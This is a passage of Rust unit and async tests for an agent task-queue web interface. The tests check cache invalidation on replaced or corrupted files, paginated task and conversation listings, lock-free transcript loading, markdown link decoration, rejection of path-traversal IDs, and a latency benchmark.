27149        let ids = vec!["changing-chat".to_owned()];
27150        seed_talk_at(&ui.talks, &ids[0], "closed");
27151        assert!(open_talk_ids(&ui, &ids).is_empty());
27152        seed_talk_at(&ui.talks, &ids[0], "open");
27153        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
27154            let value: serde_json::Value =
27155                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
27156            // Replace the file after parsing, before its identity is checked again.
27157            seed_talk_at(&ui.talks, &ids[0], "closed");
27158            serde_json::from_value(value["status"].clone()).ok()
27159        });
27160        assert!(open.contains(&ids[0]));
27161        assert!(
27162            ui.monitor
27163                .talk_status_index
27164                .lock()
27165                .unwrap()
27166                .records
27167                .is_empty()
27168        );
27169        assert!(open_talk_ids(&ui, &ids).is_empty());
27170        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
27171    }
27172
27173    #[test]
27174    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
27175        let home = tempfile::tempdir().unwrap();
27176        let ui = delta_test_ui(home.path());
27177        let ids = vec!["same-stamp-chat".to_owned()];
27178        seed_talk_at(&ui.talks, &ids[0], "open");
27179        // Model a non-Unix metadata collision deterministically: the old
27180        // classification has a fingerprint equal to the current file's.
27181        ui.monitor.talk_status_index.lock().unwrap().records.insert(
27182            ids[0].clone(),
27183            (
27184                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
27185                Some(talk::TalkStatus::Closed),
27186            ),
27187        );
27188        let open = open_talk_ids_with(&ui, &ids, false, |path| {
27189            std::fs::File::open(path).ok().and_then(read_talk_status)
27190        });
27191        assert!(
27192            open.contains(&ids[0]),
27193            "an untrusted cache hit must still read the current header"
27194        );
27195        assert!(
27196            ui.monitor
27197                .talk_status_index
27198                .lock()
27199                .unwrap()
27200                .records
27201                .is_empty()
27202        );
27203        seed_talk_at(&ui.talks, &ids[0], "closed");
27204        assert!(
27205            open_talk_ids_with(&ui, &ids, false, |path| {
27206                std::fs::File::open(path).ok().and_then(read_talk_status)
27207            })
27208            .is_empty()
27209        );
27210        let index = ui.monitor.talk_status_index.lock().unwrap();
27211        assert_eq!(index.parses, 2);
27212        assert!(
27213            index.records.is_empty(),
27214            "untrusted fingerprints must never publish cache entries"
27215        );
27216    }
27217
27218    #[test]
27219    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
27220        let home = tempfile::tempdir().unwrap();
27221        let ui = delta_test_ui(home.path());
27222        let headers = header::HeaderMap::new();
27223        seed_talk_at(&ui.talks, "open-chat", "open");
27224        seed_talk_at(&ui.talks, "closed-chat", "closed");
27225        talk_rows(
27226            &ui,
27227            vec!["open-chat".into(), "closed-chat".into()],
27228            &headers,
27229        );
27230        {
27231            let mut index = ui.monitor.talk_index.lock().unwrap();
27232            let closed = index["closed-chat"].1.clone();
27233            for i in 0..1000 {
27234                index.insert(
27235                    format!("cached-closed-{i}"),
27236                    (
27237                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
27238                        closed.clone(),
27239                    ),
27240                );
27241            }
27242        }
27243        assert_eq!(
27244            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
27245            1
27246        );
27247        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
27248        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27249        assert_eq!(
27250            ui.monitor
27251                .talk_parses
27252                .load(std::sync::atomic::Ordering::Relaxed),
27253            2
27254        );
27255        {
27256            let mut index = ui.monitor.talk_index.lock().unwrap();
27257            let open = index["open-chat"].1.clone();
27258            for i in 0..1000 {
27259                index.insert(
27260                    format!("cached-open-{i}"),
27261                    (
27262                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
27263                        open.clone(),
27264                    ),
27265                );
27266            }
27267        }
27268        // Even when open rows exceed the bound, keep the currently requested rows.
27269        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27270        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
27271        assert_eq!(
27272            ui.monitor
27273                .talk_parses
27274                .load(std::sync::atomic::Ordering::Relaxed),
27275            2
27276        );
27277    }
27278
27279    #[test]
27280    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
27281        let home = tempfile::tempdir().unwrap();
27282        let ui = delta_test_ui(home.path());
27283        std::fs::create_dir_all(ui.talks.root()).unwrap();
27284        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
27285        for id in &ids {
27286            std::fs::write(
27287                ui.talks.path_of(id),
27288                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
27289            )
27290            .unwrap();
27291        }
27292        assert!(open_talk_ids(&ui, &ids).is_empty());
27293        assert_eq!(
27294            ui.monitor.talk_status_index.lock().unwrap().parses,
27295            ids.len()
27296        );
27297        assert!(open_talk_ids(&ui, &ids).is_empty());
27298        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
27299        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
27300        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
27301        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
27302        assert_eq!(
27303            open_talk_ids(&ui, &ids),
27304            std::collections::HashSet::from([ids[0].clone()])
27305        );
27306        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
27307        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
27308        assert_eq!(parsed, reused + refreshed);
27309        open_talk_ids(&ui, &ids);
27310        assert_eq!(
27311            ui.monitor.talk_status_index.lock().unwrap().parses,
27312            parsed + if cfg!(unix) { 0 } else { ids.len() },
27313            "only reliable file identity permits caching, including unreadable rows"
27314        );
27315        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
27316        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
27317        assert!(
27318            !ui.monitor
27319                .talk_status_index
27320                .lock()
27321                .unwrap()
27322                .records
27323                .contains_key(&ids[0])
27324        );
27325        assert!(
27326            ui.monitor.talk_index.lock().unwrap().is_empty(),
27327            "classification never caches bodies"
27328        );
27329    }
27330
27331    #[tokio::test]
27332    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
27333        let home = tempfile::tempdir().unwrap();
27334        let ui = delta_test_ui(home.path());
27335        let mut task = Task::new(
27336            "task".into(),
27337            "body".into(),
27338            PathBuf::from("/repo"),
27339            Source::Human,
27340        );
27341        ui.queue.put(&mut task).unwrap();
27342        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27343        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27344        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27345        let expected = parsed + usize::from(!cfg!(unix));
27346        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27347        task.status = crate::queue::TaskStatus::Held;
27348        ui.queue.put(&mut task).unwrap();
27349        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27350        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27351        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
27352        ui.queue.put(&mut task).unwrap();
27353        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27354        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27355        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
27356    }
27357
27358    #[tokio::test]
27359    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
27360        let home = tempfile::tempdir().unwrap();
27361        let ui = delta_test_ui(home.path());
27362        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
27363        let before = health(State(ui.clone())).await.unwrap().0;
27364        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
27365        let after = health(State(ui)).await.unwrap().0;
27366        assert_ne!(before.notifications_rev, after.notifications_rev);
27367        assert_eq!(after.notifications_unread, 1);
27368    }
27369
27370    #[tokio::test]
27371    async fn list_pages_bound_history_and_keep_dependency_evidence() {
27372        let home = tempfile::tempdir().unwrap();
27373        let ui = delta_test_ui(home.path());
27374        let queue = &ui.queue;
27375        let talks = &ui.talks;
27376        for i in 0..1000 {
27377            let id = format!("20261019-{i:06}-page");
27378            let mut task = Task::new(
27379                "task".into(),
27380                "instruction".repeat(100),
27381                PathBuf::from("/repo/magi"),
27382                Source::Human,
27383            );
27384            task.id = id.clone();
27385            if i == 0 {
27386                task.status = crate::queue::TaskStatus::Held;
27387            } else if i == 999 {
27388                task.status = crate::queue::TaskStatus::Blocked;
27389                task.blocked_by = vec!["20261019-000000-page".into()];
27390            }
27391            queue.put(&mut task).unwrap();
27392            seed_talk_at(talks, &id, "closed");
27393        }
27394        let page = serde_json::to_value(
27395            queue_page(State(ui.clone()), Query(PageQuery::default()))
27396                .await
27397                .unwrap()
27398                .0,
27399        )
27400        .unwrap();
27401        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27402        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
27403        assert!(
27404            !page["rows"][0]["stuck_roots"]
27405                .as_array()
27406                .unwrap()
27407                .is_empty()
27408        );
27409        let cursor = page["next"].as_str().unwrap();
27410        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
27411            .as_str()
27412            .unwrap();
27413        // Deleting an already enumerated file cannot shift or repeat a page.
27414        std::fs::remove_file(queue.path_of(last_id)).unwrap();
27415        let next = serde_json::to_value(
27416            queue_page(
27417                State(ui.clone()),
27418                Query(PageQuery {
27419                    before: Some(cursor.into()),
27420                }),
27421            )
27422            .await
27423            .unwrap()
27424            .0,
27425        )
27426        .unwrap();
27427        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27428        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
27429        let chats = serde_json::to_value(
27430            talks_page(
27431                State(ui.clone()),
27432                Query(PageQuery::default()),
27433                header::HeaderMap::new(),
27434            )
27435            .await
27436            .unwrap()
27437            .0,
27438        )
27439        .unwrap();
27440        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27441        assert!(chats["rows"][0].get("pending").is_none());
27442        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
27443        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
27444        assert_eq!(counts["held"], 1);
27445        assert_eq!(counts["blocked"], 1);
27446        assert_eq!(counts["queued"], 997);
27447    }
27448
27449    #[test]
27450    fn queue_index_observes_external_replacement_deletion_and_corruption() {
27451        let dir = tempfile::tempdir().unwrap();
27452        let ui = delta_test_ui(dir.path());
27453        let mut task = Task::new(
27454            "task".into(),
27455            "body".into(),
27456            PathBuf::from("/repo"),
27457            Source::Human,
27458        );
27459        task.runs = vec!["run-a".into()];
27460        ui.queue.put(&mut task).unwrap();
27461        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
27462        task.runs = vec!["run-b".into()];
27463        let path = ui.queue.path_of(&task.id);
27464        let modified = path.metadata().unwrap().modified().unwrap();
27465        let replacement = path.with_extension("replacement");
27466        let bytes = serde_json::to_vec_pretty(&task).unwrap();
27467        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
27468        std::fs::write(&replacement, &bytes).unwrap();
27469        std::fs::File::options()
27470            .write(true)
27471            .open(&replacement)
27472            .unwrap()
27473            .set_times(std::fs::FileTimes::new().set_modified(modified))
27474            .unwrap();
27475        std::fs::rename(&replacement, &path).unwrap();
27476        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
27477        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27478        std::fs::write(&path, "broken").unwrap();
27479        assert!(ui.find_task_for_run("run-b").is_err());
27480        std::fs::write(&path, bytes).unwrap();
27481        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27482        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27483        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
27484    }
27485
27486    #[tokio::test]
27487    async fn conversation_core_is_independent_of_unreadable_related_history() {
27488        let home = tempfile::tempdir().unwrap();
27489        let ui = delta_test_ui(home.path());
27490        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27491        std::fs::create_dir_all(ui.queue.root()).unwrap();
27492        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
27493        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
27494            .await
27495            .unwrap();
27496        assert_eq!(core.talk.id, id);
27497        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
27498    }
27499
27500    #[test]
27501    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
27502        let home = tempfile::tempdir().unwrap();
27503        let ui = delta_test_ui(home.path());
27504        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27505        let directory = home.path().join("workers/jobs/abcdef");
27506        std::fs::create_dir_all(&directory).unwrap();
27507        let job = crate::worker::Job {
27508            id: "abcdef".into(),
27509            sequence: 1,
27510            kind: "chat".into(),
27511            key: id.clone(),
27512            payload: serde_json::json!({ "talk": id }),
27513            generation: "test".into(),
27514            version: None,
27515            status: crate::worker::Status::Running,
27516            result: None,
27517            pid: None,
27518            created_at: 0,
27519            finished_at: None,
27520        };
27521        std::fs::write(
27522            directory.join("job.json"),
27523            serde_json::to_vec(&job).unwrap(),
27524        )
27525        .unwrap();
27526        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
27527        let store =
27528            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
27529        let runtime = tokio::runtime::Builder::new_current_thread()
27530            .enable_all()
27531            .max_blocking_threads(1)
27532            .build()
27533            .unwrap();
27534        runtime.block_on(async {
27535            let (release, held) = std::sync::mpsc::channel();
27536            let (started, ready) = tokio::sync::oneshot::channel();
27537            let occupied = tokio::task::spawn_blocking(move || {
27538                started.send(()).unwrap();
27539                held.recv().unwrap();
27540            });
27541            ready.await.unwrap();
27542            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
27543            let bulk = ui
27544                .monitor
27545                .bulk_slots
27546                .clone()
27547                .acquire_many_owned(2)
27548                .await
27549                .unwrap();
27550            let result = tokio::time::timeout(
27551                Duration::from_secs(2),
27552                talk_core(State(ui.clone()), Path(id.clone())),
27553            )
27554            .await;
27555            // Release all blockers before assertions, including on a regression.
27556            drop(store);
27557            drop(bulk);
27558            release.send(()).unwrap();
27559            occupied.await.unwrap();
27560            let _ = secondary.await.unwrap().unwrap();
27561            let Json(core) = result
27562                .expect("transcript must bypass secondary work and the worker store lock")
27563                .unwrap();
27564            assert!(
27565                core.thinking,
27566                "read-only observation retains live worker state"
27567            );
27568            assert_eq!(core.talk.id, id);
27569            let admission_ui = ui.clone();
27570            let (release, held) = std::sync::mpsc::channel();
27571            let (started, ready) = tokio::sync::oneshot::channel();
27572            let admission = std::thread::spawn(move || {
27573                let _lock = admission_ui.talk_turns.lock().unwrap();
27574                started.send(()).unwrap();
27575                held.recv().unwrap();
27576            });
27577            ready.await.unwrap();
27578            let result = tokio::time::timeout(
27579                Duration::from_secs(2),
27580                talk_core(State(ui.clone()), Path(id.clone())),
27581            )
27582            .await;
27583            release.send(()).unwrap();
27584            admission.join().unwrap();
27585            assert!(
27586                result
27587                    .expect("display must not wait behind local admission")
27588                    .unwrap()
27589                    .0
27590                    .thinking
27591            );
27592            assert!(ui.is_thinking(&id));
27593            assert!(ui.is_thinking_observed(&id));
27594            drop(live);
27595            assert!(
27596                !ui.is_thinking_observed(&id),
27597                "a finished lease no longer appears live"
27598            );
27599            assert!(!ui.is_thinking(&id));
27600            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
27601            assert!(
27602                ui.is_thinking_observed(&id),
27603                "local admission remains visible"
27604            );
27605        });
27606    }
27607
27608    #[tokio::test]
27609    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
27610        let home = tempfile::tempdir().unwrap();
27611        let ui = delta_test_ui(home.path());
27612        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27613        let mut task = Task::new(
27614            "Referenced task".into(),
27615            "Unrelated instruction history".repeat(1024),
27616            home.path().into(),
27617            Source::Human,
27618        );
27619        task.id = "20261019-000000-abcd".into();
27620        ui.queue.put(&mut task).unwrap();
27621        let mut conversation = ui.talks.get(&id).unwrap();
27622        conversation.turns.push(talk::Turn {
27623            sender: Some(talk::Sender::Persona),
27624            who: talk::Who::Agent,
27625            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
27626            at: conversation.created_at,
27627            attachments: Vec::new(),
27628            usage: None,
27629            breaks: None,
27630            messages: Vec::new(),
27631            posted_by: None,
27632        });
27633        ui.talks.put(&mut conversation).unwrap();
27634
27635        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
27636        let markdown = serde_json::to_value(&core.turn_bodies_md)
27637            .unwrap()
27638            .to_string();
27639        assert!(markdown.contains("\"strong\""));
27640        assert!(markdown.contains("\"table\""));
27641        assert!(markdown.contains("\"bullet_list\""));
27642        assert!(markdown.contains("\"code_block\""));
27643        assert!(!markdown.contains("\"internal_link\""));
27644        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
27645        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
27646        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
27647
27648        // Deferred decoration still resolves the same validated task, without
27649        // touching opaque code blocks or changing the original transcript.
27650        let references = ui.references.for_talk(home.path(), &conversation);
27651        let mut decorated = core.turn_bodies_md[0].clone();
27652        references.markdown(&mut decorated);
27653        let decorated = serde_json::to_value(decorated).unwrap().to_string();
27654        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
27655        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
27656        assert_eq!(
27657            ui.talks.get(&conversation.id).unwrap().turns[0].body,
27658            conversation.turns[0].body
27659        );
27660    }
27661
27662    #[tokio::test]
27663    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
27664        let home = tempfile::tempdir().unwrap();
27665        let ui = delta_test_ui(home.path());
27666        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27667        let mut run = RunState::new(
27668            PathBuf::from("/repo"),
27669            "main".into(),
27670            "01234567".into(),
27671            "Useful run".into(),
27672            Config::default(),
27673        );
27674        run.save_under(home.path()).unwrap();
27675        let mut task = Task::new(
27676            "Related".into(),
27677            "body".into(),
27678            PathBuf::from("/repo"),
27679            Source::Agent {
27680                run: talk_id.clone(),
27681                node: "chat".into(),
27682            },
27683        );
27684        task.runs = vec![run.id.clone()];
27685        ui.queue.put(&mut task).unwrap();
27686        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
27687        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
27688        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
27689        assert!(
27690            run_detail(State(ui.clone()), Path(run.id.clone()))
27691                .await
27692                .is_ok()
27693        );
27694        assert!(
27695            talk_sections(State(ui.clone()), Path(talk_id.clone()))
27696                .await
27697                .is_ok()
27698        );
27699        // Previously indexed corruption must not masquerade as no relationship.
27700        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27701        assert!(ui.find_task_for_run(&run.id).is_err());
27702        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
27703        ui.queue.put(&mut task).unwrap();
27704        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
27705    }
27706
27707    #[tokio::test]
27708    async fn conversation_sections_omit_large_task_instructions() {
27709        let home = tempfile::tempdir().unwrap();
27710        let ui = delta_test_ui(home.path());
27711        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27712        let mut task = Task::new(
27713            "filed task".into(),
27714            "large instruction ".repeat(65536),
27715            PathBuf::from("/repo"),
27716            Source::Agent {
27717                run: id.clone(),
27718                node: "chat".into(),
27719            },
27720        );
27721        ui.queue.put(&mut task).unwrap();
27722        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
27723        assert_eq!(sections["tasks"][0]["id"], task.id);
27724        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
27725        assert!(sections["tasks"][0].get("instruction").is_none());
27726        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
27727    }
27728
27729    #[test]
27730    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
27731        let home = tempfile::tempdir().unwrap();
27732        let talks = Talks::at(home.path().join("talks"));
27733        seed_talk_at(&talks, "20261019-000001-abcd", "open");
27734        seed_talk_at(&talks, "20261019-000002-abcd", "open");
27735        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
27736        assert!(resolve_talk(&talks, "../outside").is_err());
27737        assert!(resolve_talk(&talks, "abcd").is_err());
27738        assert_eq!(
27739            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
27740            "20261019-000001-abcd"
27741        );
27742    }
27743
27744    include!(concat!(
27745        env!("CARGO_MANIFEST_DIR"),
27746        "/tests/web_latency/baseline.rs"
27747    ));
27748
27749    include!(concat!(
27750        env!("CARGO_MANIFEST_DIR"),
27751        "/tests/web_latency/lists.rs"
27752    ));
27753
27754    #[tokio::test]
27755    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
27756    async fn web_history_latency_measurement() {
27757        use std::time::Instant;
27758        let home = tempfile::tempdir().unwrap();
27759        let ui = delta_test_ui(home.path());
27760        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27761        let mut template = ui.talks.get(&id).unwrap();
27762        template.turns = serde_json::from_value(serde_json::json!([{
27763            "who": "operator", "body": "Show the accumulated work and its current status.",
27764            "at": Timestamp::now().to_string(),
27765        }]))
27766        .unwrap();
27767        std::fs::write(
27768            ui.talks.path_of(&id),
27769            serde_json::to_vec(&template).unwrap(),
27770        )
27771        .unwrap();
27772        let count = std::env::var("MAGI_BENCH_RECORDS")
27773            .ok()
27774            .and_then(|s| s.parse::<usize>().ok())
27775            .unwrap_or(1000);
27776        for i in 0..count {
27777            template.id = format!("20261019-{i:06}-history");
27778            template.pending = "history ".repeat(2048);
27779            std::fs::write(
27780                ui.talks.path_of(&template.id),
27781                serde_json::to_vec(&template).unwrap(),
27782            )
27783            .unwrap();
27784            let mut task = Task::new(
27785                "old task".into(),
27786                "instruction ".repeat(2048),
27787                PathBuf::from("/repo"),
27788                Source::Human,
27789            );
27790            task.id = format!("20261019-{i:06}-task");
27791            ui.queue.put(&mut task).unwrap();
27792        }
27793        for baseline in [true, false] {
27794            for clients in [1, 4] {
27795                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
27796                let mut samples = Vec::new();
27797                for _ in 0..12 {
27798                    let mut jobs = Vec::new();
27799                    for _ in 0..clients {
27800                        let ui = ui.clone();
27801                        let id = id.clone();
27802                        jobs.push(tokio::spawn(async move {
27803                            let start = Instant::now();
27804                            if baseline {
27805                                let response =
27806                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
27807                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
27808                                return (
27809                                    elapsed,
27810                                    elapsed,
27811                                    serde_json::to_vec(&response).unwrap().len(),
27812                                );
27813                            }
27814                            let core = talk_core(State(ui.clone()), Path(id.clone()));
27815                            let secondary = talk_sections(State(ui), Path(id));
27816                            let (first, total) = tokio::join!(
27817                                async {
27818                                    let value = core.await.unwrap().0;
27819                                    (
27820                                        start.elapsed().as_secs_f64() * 1000.0,
27821                                        serde_json::to_vec(&value).unwrap().len(),
27822                                    )
27823                                },
27824                                async {
27825                                    let value = secondary.await.unwrap().0;
27826                                    (
27827                                        start.elapsed().as_secs_f64() * 1000.0,
27828                                        serde_json::to_vec(&value).unwrap().len(),
27829                                    )
27830                                }
27831                            );
27832                            (first.0, first.0.max(total.0), first.1 + total.1)
27833                        }));
27834                    }
27835                    for job in jobs {
27836                        samples.push(job.await.unwrap());
27837                    }
27838                }
27839                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
27840                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
27841                first.sort_by(f64::total_cmp);
27842                total.sort_by(f64::total_cmp);
27843                let n = first.len();
27844                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
27845                println!(
27846                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
27847                    first[n / 2],
27848                    first[(n * 95 / 100).min(n - 1)],
27849                    total[n / 2],
27850                    total[(n * 95 / 100).min(n - 1)],
27851                    samples[0].2
27852                );
27853            }
27854        }
27855    }
27856
27857    #[test]
27858    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
27859        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
27860        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
27861        assert!(APP_JS.contains("function nextRunRequest(id)"));
27862        assert!(APP_JS.contains("function runShell(id, summary)"));
27863        assert!(APP_JS.contains("function nextTaskRequest(id)"));
27864        assert!(APP_JS.contains("function taskShell(id, summary)"));
27865        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
27866    }
27867}